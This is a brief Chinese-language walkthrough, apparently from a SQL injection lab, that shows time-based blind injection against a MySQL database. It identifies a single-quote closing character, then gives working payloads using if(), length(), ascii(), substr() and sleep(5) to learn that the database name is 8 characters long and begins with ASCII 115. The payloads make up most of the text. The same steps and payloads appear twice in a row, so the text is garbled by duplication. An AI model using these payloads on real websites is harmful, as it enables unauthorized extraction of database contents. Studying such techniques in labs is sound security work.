- 求闭合字符
根据测试,发现只有是单引号时,sleep函数才起作用,因此可以判断出来是单引号闭合字符
2.求数据库名长度
and if(length(database())=8,sleep(5),1) -- -
数据库名的长度为8
3.求数据库名对应的ASCII值
and if(ascii(substr((select database()),1,1))=115,sleep(5),1) -- -
根据测试,发现只有是单引号时,sleep函数才起作用,因此可以判断出来是单引号闭合字符
2.求数据库名长度
and if(length(database())=8,sleep(5),1) -- -
数据库名的长度为8
3.求数据库名对应的ASCII值
and if(ascii(substr((select database()),1,1))=115,sleep(5),1) -- -